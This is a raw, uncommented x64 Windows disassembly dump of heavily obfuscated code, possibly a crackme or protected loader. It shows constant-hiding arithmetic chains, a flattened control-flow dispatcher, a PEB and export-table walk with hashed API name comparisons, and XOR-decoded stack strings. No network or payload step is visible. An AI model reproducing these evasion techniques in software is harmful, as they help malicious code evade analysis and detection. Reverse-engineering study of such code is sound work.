mov qword [0x140044050], rax
movabs rdi, 0x7b26410e72aa4f9f
pushf
not rdi
add rdi, 0x579b9996
xor rdi, 0x1a07e0d5
rol rdi, 0x74
popf
pushf
not rdi
add rdi, 0x5fd13858
xor rdi, 0x51bababc
rol rdi, 0xcd
popf
pushf
not rdi
add rdi, 0x75851766
xor rdi, 0x1ca832de
rol rdi, 0x82
popf
pushf
not rdi
add rdi, 0x2fb402cc
xor rdi, 0x6c1a8680
rol rdi, 0xd
popf
movabs rsi, 0x2dd6a75156298db0
pushf
not rsi
add rsi, 0x297d74b7
xor rsi, 0x792d4e6a
rol rsi, 0xe9
popf
pushf
not rsi
add rsi, 0x2fd27983
xor rsi, 0xf4ea65c
rol rsi, 0x7c
popf
pushf
not rsi
add rsi, 0x6862a06f
xor rsi, 0x488d7272
rol rsi, 0xf6
popf
push rax
pushf
mov eax, 0x55708b70
pushf
not eax
add eax, 0x1693c4c
xor eax, 0x6448ba9c
rol eax, 0x25
popf
pushf
not eax
add eax, 0x322439eb
xor eax, 0x3c22d471
rol eax, 0x1a
popf
jmp 0x1400730eb
cmp bl, 8
jne 0x14007aed5
push rax
pushf
mov eax, 0x6b67a65f
pushf
not eax
add eax, 0x7cde7c1d
xor eax, 0x30cd33a2
rol eax, 0x36
popf
pushf
not eax
add eax, 0x3cb57593
xor eax, 0x552b825a
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x2d8803a5
xor eax, 0x20a04017
rol eax, 0xed
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xa67e2e78
pushf
not eax
add eax, 0x788cc44
xor eax, 0x28bba4aa
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x1e67bca0
xor eax, 0x62fae893
rol eax, 0x81
popf
pushf
not eax
add eax, 0x6e898588
xor eax, 0x76c7f17a
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x4050b5b8
xor eax, 0x590f06ee
rol eax, 0xdf
popf
jmp 0x1400730eb
lea rdx, [0x18cbc09e7]
pushf
sub rdx, 0x4cb8ff6b
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008e9df
mov rdx, qword [rbp + 0xa0]
dec rdx
lea rcx, [rbp + 0x90]
call fcn.14008cc9b
jmp 0x14007b659
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140074e58
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140078035
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140079b36
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x14007a3a2
mov dl, 0xbd
pushf
not dl
add dl, 0x50
xor dl, 0x3f
rol dl, 0x88
popf
pushf
not dl
add dl, 1
xor dl, 7
rol dl, 0xaf
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008fe26
movzx edx, bl
lea rcx, [rbp + 0x90]
call fcn.14008b35e
push rax
pushf
mov eax, 0x3d5a75ad
pushf
not eax
add eax, 0xf94fe04
xor eax, 0x74857650
rol eax, 0x14
popf
pushf
not eax
add eax, 0x3f2a2431
xor eax, 0x5eeeb831
rol eax, 0x11
popf
jmp 0x1400730eb
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
movzx ebx, al
cmp al, 0xd
jne 0x14007b6b0
push rax
pushf
mov eax, 0x71efdd45
pushf
not eax
add eax, 0x6fbd1d7e
xor eax, 0x44e8b85
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x3c3d02f9
xor eax, 0x18890e5c
rol eax, 3
popf
pushf
not eax
add eax, 0x7aef2520
xor eax, 0x53b0e215
rol eax, 0xcc
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xabd03814
pushf
not eax
add eax, 0x957e9d0
xor eax, 0x5670356f
rol eax, 0x91
popf
pushf
not eax
add eax, 0x6c3f11f3
xor eax, 0x1a63c3c
rol eax, 1
popf
pushf
not eax
add eax, 0x7360ec52
xor eax, 0x790bf889
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x117beb79
xor eax, 0x56a53b9a
rol eax, 0x81
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x14007b90c
cmp r9d, 0x8ef02c42
je 0x14007bcc0
push rax
pushf
mov eax, 0x290d4207
pushf
not eax
add eax, 0x74ae55a3
xor eax, 0x3b15c551
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x1472fb15
xor eax, 0x1435f4be
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x8cf743
xor eax, 0x67a4b9d9
rol eax, 0x6b
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xdb5ae90b
pushf
not eax
add eax, 0x6d7ad7e5
xor eax, 0x4e39f24c
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x5bdba335
xor eax, 0x17f813bd
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xee24ee8
xor eax, 0x51a8466b
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x304a7768
xor eax, 0x76e5942d
rol eax, 0x24
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x14007be8f
push rax
pushf
mov eax, 0x3a42af82
pushf
not eax
add eax, 0x20ff7363
xor eax, 0x30280b0c
rol eax, 5
popf
pushf
not eax
add eax, 0x7de53e25
xor eax, 0x4a79cd35
rol eax, 0x61
popf
pushf
not eax
add eax, 0xb64675
xor eax, 0x3e4b0af5
rol eax, 0x77
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x9a768d43
pushf
not eax
add eax, 0x12738b67
xor eax, 0x550d11d4
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x23f41554
xor eax, 0x3ea1f02c
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x3f60e1d6
xor eax, 0x708fac9f
rol eax, 0x29
popf
jmp 0x1400730eb
mov qword [0x140044008], rax
movabs rdi, 0x7ccba10182d043fa
pushf
not rdi
add rdi, 0x4c7f9c
xor rdi, 0x1a35c4c8
rol rdi, 0x59
popf
pushf
not rdi
add rdi, 0x6de21aa
xor rdi, 0x5b8e11b
rol rdi, 0x10
popf
pushf
not rdi
add rdi, 0x33774b92
xor rdi, 0x5da723f0
rol rdi, 0x9a
popf
movabs rsi, 0x64016c4c696976e0
pushf
not rsi
add rsi, 0x600061e9
xor rsi, 0x7cc7ea5e
rol rsi, 0xa3
popf
pushf
not rsi
add rsi, 0x5b695bc4
xor rsi, 0x1dcc5392
rol rsi, 0x80
popf
push rax
pushf
mov eax, 0xb4e79388
pushf
not eax
add eax, 0x6a48bacc
xor eax, 0xe608b38
rol eax, 0x76
popf
pushf
not eax
add eax, 0x1f1f7c9f
xor eax, 0x683c33
rol eax, 0x51
popf
jmp 0x1400730eb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
lea rcx, [0x1bad5d59f]
pushf
sub rcx, 0x7ad192af
popf
call fcn.14008b235
mov rdx, rax
lea rcx, [rbp + 0x20]
call r12
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
lea rcx, [0x194fa0390]
pushf
sub rcx, 0x54f5c0a0
popf
call fcn.14008b235
mov r8, rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.14005e038
nop
lea rcx, [rbp + 0x20]
call fcn.14008525e
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140085726
mov rcx, rax
call fcn.1400be378
test al, al
jne 0x14007c400
push rax
pushf
mov eax, 0x5e874715
pushf
not eax
add eax, 0x112bd4bf
xor eax, 0x52ca0d82
rol eax, 0x80
popf
pushf
not eax
add eax, 0x2b585e6f
xor eax, 0x4ae9def0
rol eax, 0xa0
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x3e61b5ee
pushf
not eax
add eax, 0x25b262c1
xor eax, 0x6c4365f4
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x758cced7
xor eax, 0x50f2a183
rol eax, 0x9e
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x14007c74a
push rax
pushf
mov eax, 0x3b6883be
pushf
not eax
add eax, 0x7624dc9d
xor eax, 0x1a49693d
rol eax, 0xf
popf
pushf
not eax
add eax, 0xa51fb2a
xor eax, 0x7162b6af
rol eax, 0x76
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xe4d46b4b
pushf
not eax
add eax, 0x72b9d75a
xor eax, 0x60e7991d
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x2a1ea4ef
xor eax, 0x273e3101
rol eax, 0x93
popf
jmp 0x1400730eb
lea rcx, [rbp - 0x80]
call fcn.14008525e
movabs rax, 0x4fbf2b1a59e009a5
pushf
not rax
add rax, 0x40cf0343
xor rax, 0x2aeb3185
rol rax, 0x19
popf
pushf
not rax
add rax, 0x45ff084e
xor rax, 0x417f4d20
rol rax, 0x5a
popf
mov qword [rsp + 0x30], rax
movabs rax, 0x500df72923c57068
pushf
not rax
add rax, 0x4179a420
xor rax, 0x7ee5c718
rol rax, 0x90
popf
pushf
not rax
add rax, 0x15598deb
xor rax, 0x498d0076
rol rax, 0x6e
popf
mov qword [rsp + 0x38], rax
movabs rax, 0xa286b5cda8c9cbdc
pushf
not rax
add rax, 0x253031e2
xor rax, 0x1a8f7450
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x517dde90
xor rax, 0x63d98048
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x54bfd62
xor rax, 0x3566555a
rol rax, 0x3e
popf
mov qword [rsp + 0x40], rax
movabs rax, 0x7c2d5ae613aa8af8
pushf
not rax
add rax, 0x4d8046f7
xor rax, 0x6358be7c
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x2fffa24d
xor rax, 0x2df1c134
rol rax, 0x73
popf
pushf
not rax
add rax, 0x5ea67eea
xor rax, 0x2863f309
rol rax, 0x80
popf
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], r13
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x70]
xorps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call fcn.1400bdbb2
mov rax, qword [0x140044048]
test rax, rax
jne 0x14007d033
push rax
pushf
mov eax, 0x511f6a70
pushf
not eax
add eax, 0x14581de2
xor eax, 0x4c28a11e
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x5801c987
xor eax, 0x7b42ba84
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x2ca191da
xor eax, 0x4216d212
rol eax, 0xae
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x45c1a2ac
pushf
not eax
add eax, 0x7fd3a19f
xor eax, 0x7569cc81
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x6166290b
xor eax, 0x725fd99d
rol eax, 0xfe
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x14007d19f
push rax
pushf
mov eax, 0xe68516a1
pushf
not eax
add eax, 0x44475d3b
xor eax, 0x2b718fe3
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x2ada3b47
xor eax, 0x51ba70a
rol eax, 0x22
popf
pushf
not eax
add eax, 0x6044161e
xor eax, 0x7af7a1b
rol eax, 0x32
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x9dd73e48
pushf
not eax
add eax, 0x1b977b7a
xor eax, 0x5942b0f4
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x46099238
xor eax, 0x6efffc2f
rol eax, 0x54
popf
pushf
not eax
add eax, 0x1cbfab34
xor eax, 0x3125afa
rol eax, 0x59
popf
jmp 0x1400730eb
dec r10d
lea rcx, [rsi + r10*4]
mov r8d, dword [rcx + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0x5428e6b9
pushf
not r9d
add r9d, 0xf121db3
xor r9d, 0x218ad609
rol r9d, 0x66
popf
pushf
not r9d
add r9d, 0x3d3fd811
xor r9d, 0x6728fae4
rol r9d, 0x8d
popf
pushf
not r9d
add r9d, 0x25c9e17f
xor r9d, 0x41055b60
rol r9d, 0xf1
popf
pushf
not r9d
add r9d, 0x7f7c2273
xor r9d, 0x416799bf
rol r9d, 0x48
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14007d2fb
push rax
pushf
mov eax, 0x6a017344
pushf
not eax
add eax, 0x12fe04bb
xor eax, 0x7f878dfc
rol eax, 0x24
popf
pushf
not eax
add eax, 0x10fc68ca
xor eax, 0x794aa004
rol eax, 0x43
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xd104431b
pushf
not eax
add eax, 0x60131da4
xor eax, 0x6b477a3b
rol eax, 0x48
popf
pushf
not eax
add eax, 0x4eb481a1
xor eax, 0x51307bc
rol eax, 0x38
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0xf859319
pushf
not eax
add eax, 0x791e9ede
xor eax, 0x19abc53c
rol eax, 0x65
popf
pushf
not eax
add eax, 0x27aa7997
xor eax, 0x21509a91
rol eax, 0x43
popf
jmp 0x1400730eb
cmp r9d, 0x7a61756e
je 0x14007d454
push rax
pushf
mov eax, 0xc981e1c5
pushf
not eax
add eax, 0x30817b8c
xor eax, 0x1e229ffe
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x44f7b4bd
xor eax, 0x631459e4
rol eax, 0x3b
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x93d6e21
pushf
not eax
add eax, 0x2f51c7dd
xor eax, 0xd12df7d
rol eax, 0x10
popf
pushf
not eax
add eax, 0x290dd15a
xor eax, 0x3c3245b4
rol eax, 0x32
popf
pushf
not eax
add eax, 0x6c29fde8
xor eax, 0x360f1a18
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x79d1a1f1
xor eax, 0x3d5c5fa2
rol eax, 0xe6
popf
jmp 0x1400730eb
mov ecx, 0x2c0005b4
pushf
not ecx
add ecx, 0x5e0cbff4
xor ecx, 0x40ab3842
rol ecx, 7
popf
pushf
not ecx
add ecx, 0x224b4ac
xor ecx, 0x2e6375cc
rol ecx, 0x85
popf
jmp 0x14007d754
call rax
nop
lea rcx, [rbp - 0x80]
call fcn.140085399
nop
lea rcx, [rbp + 0x20]
call fcn.140085399
jmp 0x14007e1b4
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x14007bed7
dec r10d
lea rcx, [rsi + r10*4]
mov r8d, dword [rcx + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0x687dd97d
pushf
not r9d
add r9d, 0xd41b3c1
xor r9d, 0x53731b71
rol r9d, 0xe2
popf
pushf
not r9d
add r9d, 0xcb4361c
xor r9d, 0x57d34d33
rol r9d, 0x55
popf
pushf
not r9d
add r9d, 0x709d22b6
xor r9d, 0x37455c68
rol r9d, 0x42
popf
pushf
not r9d
add r9d, 0x5d2cdff6
xor r9d, 0x16b85b73
rol r9d, 0x23
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14007dd88
push rax
pushf
mov eax, 0xd8fd1a54
pushf
not eax
add eax, 0x518cfe0d
xor eax, 0x54ad9c81
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x4979399a
xor eax, 0x368789f
rol eax, 6
popf
pushf
not eax
add eax, 0x308eef78
xor eax, 0x2ca306cb
rol eax, 0x54
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xe636e762
pushf
not eax
add eax, 0x2a0e9a49
xor eax, 0x6183aba
rol eax, 0x23
popf
pushf
not eax
add eax, 0xb75ac29
xor eax, 0x2853be62
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x305d678b
xor eax, 0x5badbcc4
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x4d3aba21
xor eax, 0x7e175a07
rol eax, 0xa3
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0x5cd83bd0
pushf
not eax
add eax, 0x1a344ec4
xor eax, 0x1f93ec77
rol eax, 0x54
popf
pushf
not eax
add eax, 0x5ca9ed2e
xor eax, 0x7d2f43a7
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x458507d1
xor eax, 0x48b2ec17
rol eax, 0x75
popf
pushf
not eax
add eax, 0x1247576d
xor eax, 0x5753bd2b
rol eax, 0x41
popf
jmp 0x1400730eb
mov qword [0x140043fd0], rax
push rax
pushf
mov eax, 0x1c25a8f8
pushf
not eax
add eax, 0x51a1b945
xor eax, 0x1baec640
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x7a225013
xor eax, 0x38a5fb1
rol eax, 0x57
popf
jmp 0x1400730eb
mov rax, qword [0x140044040]
test rax, rax
jne 0x14007e1f7
push rax
pushf
mov eax, 0xab4e770d
pushf
not eax
add eax, 0xeaf6ebe
xor eax, 0x17d709b6
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc53e13e
xor eax, 0x3d84a17d
rol eax, 0x72
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x35579df6
pushf
not eax
add eax, 0x3fb32252
xor eax, 0x772d1f3e
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x53a2ad08
xor eax, 0x6085d1dc
rol eax, 0x4d
popf
jmp 0x1400730eb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xef58aed2
pushf
not eax
add eax, 0x79a39e2c
xor eax, 0x18363355
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x4d170358
xor eax, 0x2ff6372c
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x4320c887
xor eax, 0x49d00ad0
rol eax, 0x82
popf
pushf
not eax
add eax, 0x2653ab47
xor eax, 0x3ccd29b8
rol eax, 0x66
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x14007e3a5
push rax
pushf
mov eax, 0x3f480317
pushf
not eax
add eax, 0x3d69d5b7
xor eax, 0x70a48284
rol eax, 0x35
popf
pushf
not eax
add eax, 0x6022c6f1
xor eax, 0x5cc15d18
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x690a0a8
xor eax, 0x50b099ff
rol eax, 0x81
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x2c158c45
pushf
not eax
add eax, 0x74803fd3
xor eax, 0x65bd229d
rol eax, 0x77
popf
pushf
not eax
add eax, 0x50fdeab
xor eax, 0x7cf8f208
rol eax, 0x80
popf
jmp 0x1400730eb
test r10d, r10d
jne 0x14007e71c
push rax
pushf
mov eax, 0xe2c63cf
pushf
not eax
add eax, 0x6d01b18f
xor eax, 0x7d896fc7
rol eax, 0xa
popf
pushf
not eax
add eax, 0x7522086b
xor eax, 0x54a2b18e
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x18d1b6e2
xor eax, 0x6b69c03a
rol eax, 0x15
popf
pushf
not eax
add eax, 0x6d6bdaae
xor eax, 0x308b52a2
rol eax, 0x4d
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x3dc0a677
pushf
not eax
add eax, 0x7aee9ef0
xor eax, 0x6e562e59
rol eax, 0xe
popf
pushf
not eax
add eax, 0x2f58e789
xor eax, 0x423a638d
rol eax, 0x49
popf
pushf
not eax
add eax, 0x718c6162
xor eax, 0x5ae9b35a
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x46dc8188
xor eax, 0xcc72573
rol eax, 0x94
popf
jmp 0x1400730eb
mov qword [rbp + 0x20], r15
movabs r14, 0xc842172c99d23a5a
pushf
not r14
add r14, 0x360ad46a
xor r14, 0x1ce00445
rol r14, 0x7a
popf
pushf
not r14
add r14, 0x6c71d0fe
xor r14, 0x13ed4067
rol r14, 0x7a
popf
pushf
not r14
add r14, 0x125b9fe9
xor r14, 0x5a82bce9
rol r14, 0x4d
popf
pushf
not r14
add r14, 0x6b185f8c
xor r14, 0x158c2fbe
rol r14, 0x42
popf
mov qword [rbp + 0x28], r14
movabs rsi, 0x6472516395ca9b3b
pushf
not rsi
add rsi, 0x1fe00548
xor rsi, 0x424edd97
rol rsi, 0x15
popf
pushf
not rsi
add rsi, 0x7f3368b
xor rsi, 0x116f65b
rol rsi, 0xe1
popf
pushf
not rsi
add rsi, 0x45986ef7
xor rsi, 0x5a1c303b
rol rsi, 0x6e
popf
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], r14
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
jmp 0x14007e99c
call rax
movabs rax, 0xc80901c5f66a4d15
pushf
not rax
add rax, 0x6dcfb132
xor rax, 0x49cde4c8
rol rax, 0x11
popf
pushf
not rax
add rax, 0x4b7e4254
xor rax, 0x69a5dddd
rol rax, 0x8f
popf
mov qword [rbp - 0x80], rax
movabs rax, 0x98f29711494b7dde
pushf
not rax
add rax, 0x6430ad36
xor rax, 0x22394bf1
rol rax, 0x19
popf
pushf
not rax
add rax, 0x7ee4e93c
xor rax, 0x50ab084b
rol rax, 0xd8
popf
mov qword [rbp - 0x78], rax
movabs rax, 0x157de8bdf099dc6f
pushf
not rax
add rax, 0x1491ef44
xor rax, 0x4ee4aee8
rol rax, 0xc
popf
pushf
not rax
add rax, 0x2606e1d2
xor rax, 0x5706e6e0
rol rax, 0xbf
popf
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], r13
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], r14
movabs rax, 0x9f158c244575199f
pushf
not rax
add rax, 0x4e9766cb
xor rax, 0x2b07435
rol rax, 0x4d
popf
pushf
not rax
add rax, 0x7241a4df
xor rax, 0x516e65d7
rol rax, 0xee
popf
pushf
not rax
add rax, 0x7b9040ca
xor rax, 0x6b6dd345
rol rax, 0x71
popf
pushf
not rax
add rax, 0x4e3bf7c3
xor rax, 0x7f8fc7d9
rol rax, 0xf
popf
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], r13
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm1
lea rcx, [rbp - 0x80]
call fcn.1400bd74e
movabs r13, 0x755cc717aec68cd6
pushf
not r13
add r13, 0x420eea19
xor r13, 0x3213d520
rol r13, 0x74
popf
pushf
not r13
add r13, 0x5f1cc80e
xor r13, 0x3c2b3c29
rol r13, 0x62
popf
pushf
not r13
add r13, 0x794a918c
xor r13, 0x1fff4a73
rol r13, 0xfd
popf
pushf
not r13
add r13, 0x2a48fcd5
xor r13, 0x1872668f
rol r13, 0x1d
popf
mov qword [rbp + 0x60], r13
movabs rdi, 0x67f27445a21addba
pushf
not rdi
add rdi, 0x7d1d3645
xor rdi, 0x35c50121
rol rdi, 0xf3
popf
pushf
not rdi
add rdi, 0x209f61c5
xor rdi, 0x72006d1a
rol rdi, 0x19
popf
pushf
not rdi
add rdi, 0xf3dde19
xor rdi, 0x294d38b0
rol rdi, 0x38
popf
pushf
not rdi
add rdi, 0x32f43c7d
xor rdi, 0x86eb635
rol rdi, 0x68
popf
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea rdx, [rbp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.14008b984
nop
lea rcx, [rbp - 0x80]
call fcn.14005d783
movzx ebx, al
lea rcx, [rbp - 0x80]
call fcn.14008b5e6
mov r15d, 0x69aa66da
pushf
not r15d
add r15d, 0x28f94a06
xor r15d, 0x64b2037c
rol r15d, 0x4d
popf
pushf
not r15d
add r15d, 0x73131d0f
xor r15d, 0x2796f1c1
rol r15d, 0xb4
popf
pushf
not r15d
add r15d, 0x7e016c5d
xor r15d, 0x790b626f
rol r15d, 0x31
popf
test bl, bl
jne 0x14007eca3
push rax
pushf
mov eax, 0xced2af47
pushf
not eax
add eax, 0x638e7113
xor eax, 0x528769f2
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x384ffef4
xor eax, 0x1b48c62f
rol eax, 0xc6
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xb3996b40
pushf
not eax
add eax, 0x53bdba44
xor eax, 0x1d0d35f7
rol eax, 0x17
popf
pushf
not eax
add eax, 0x25c8960c
xor eax, 0x47aa83be
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x348cd4db
xor eax, 0x179fc95d
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xb090f7c
xor eax, 0x24d7987f
rol eax, 0x70
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x14007ee91
push rax
pushf
mov eax, 0x1f2d7547
pushf
not eax
add eax, 0xeed04dd
xor eax, 0x52ebb733
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x2cb69abd
xor eax, 0x37ac6216
rol eax, 0x83
popf
pushf
not eax
add eax, 0x5b6fd91e
xor eax, 0x676d706b
rol eax, 0xbf
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x6b2a1a6
pushf
not eax
add eax, 0x76944fc1
xor eax, 0x17760a29
rol eax, 0x42
popf
pushf
not eax
add eax, 0x28caa2d8
xor eax, 0x66c1234
rol eax, 0xe2
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0xd32fcf34
pushf
not eax
add eax, 0xe7bc4b3
xor eax, 0xf6f470d
rol eax, 0xe
popf
pushf
not eax
add eax, 0x709da9f6
xor eax, 0x17cec320
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x5867260f
xor eax, 0x890c621
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x69c90a05
xor eax, 0x7175f9b8
rol eax, 0x43
popf
jmp 0x1400730eb
test r10d, r10d
jne 0x14007f262
push rax
pushf
mov eax, 0x3de2c010
pushf
not eax
add eax, 0x6949b90e
xor eax, 0x28aa6491
rol eax, 0x89
popf
pushf
not eax
add eax, 0xc9cb33e
xor eax, 0x2873b680
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x156751c7
xor eax, 0x6ecc0a17
rol eax, 0x22
popf
pushf
not eax
add eax, 0x746446ce
xor eax, 0x778262e6
rol eax, 0x74
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x477c5b3d
pushf
not eax
add eax, 0x7f2d142e
xor eax, 0x1fe6d2af
rol eax, 0xb
popf
pushf
not eax
add eax, 0x565d0d17
xor eax, 0x41757276
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x37197db4
xor eax, 0x385197ef
rol eax, 0x95
popf
jmp 0x1400730eb
mov rdi, qword [rdi]
cmp rdi, r14
je 0x14007f2f6
push rax
pushf
mov eax, 0xa28ddf5b
pushf
not eax
add eax, 0x22d47229
xor eax, 0x7f8dd706
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x435ce783
xor eax, 0x481e368b
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x328f98fd
xor eax, 0x558196da
rol eax, 0xd6
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x2a36c7f2
pushf
not eax
add eax, 0x451776ad
xor eax, 0x7a84b7ad
rol eax, 0x88
popf
pushf
not eax
add eax, 0x4987bab0
xor eax, 0x27e36e8c
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x38e432ac
xor eax, 0x7668a4e8
rol eax, 0x72
popf
jmp 0x1400730eb
